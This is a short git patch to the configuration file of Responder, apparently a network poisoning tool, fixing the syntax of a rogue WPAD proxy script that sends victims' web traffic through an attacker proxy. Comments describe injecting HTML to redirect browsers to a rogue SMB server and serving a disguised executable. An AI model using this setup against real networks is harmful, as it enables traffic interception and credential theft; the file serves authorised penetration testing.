From e396aa9865e37f6e77ee0eefecf73045b596ce3a Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 27 Jan 2014 00:32:33 -0500 Subject: [PATCH] Updated Pac script to use direct connection for plain hostnames. --- Responder.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Responder.conf b/Responder.conf index f42c7dc..7a9b3d7 100644 --- a/Responder.conf +++ b/Responder.conf @@ -38,12 +38,12 @@ Filename = Denied.html ExecFilename = FixInternet.exe ; ;Set your custom PAC script -WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") ||(shExpMatch(host, "localhost.*")) ||(host == "127.0.0.1")) || (isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT";return 'PROXY ISAProxySrv:3141; DIRECT';} +WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} ; ;HTML answer to inject. ;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host. ;Also, the HTML has to be in this format " Payload goes here...". -HTMLToServe = Loading +HTMLToServe = Loading ; [HTTPS Server] ;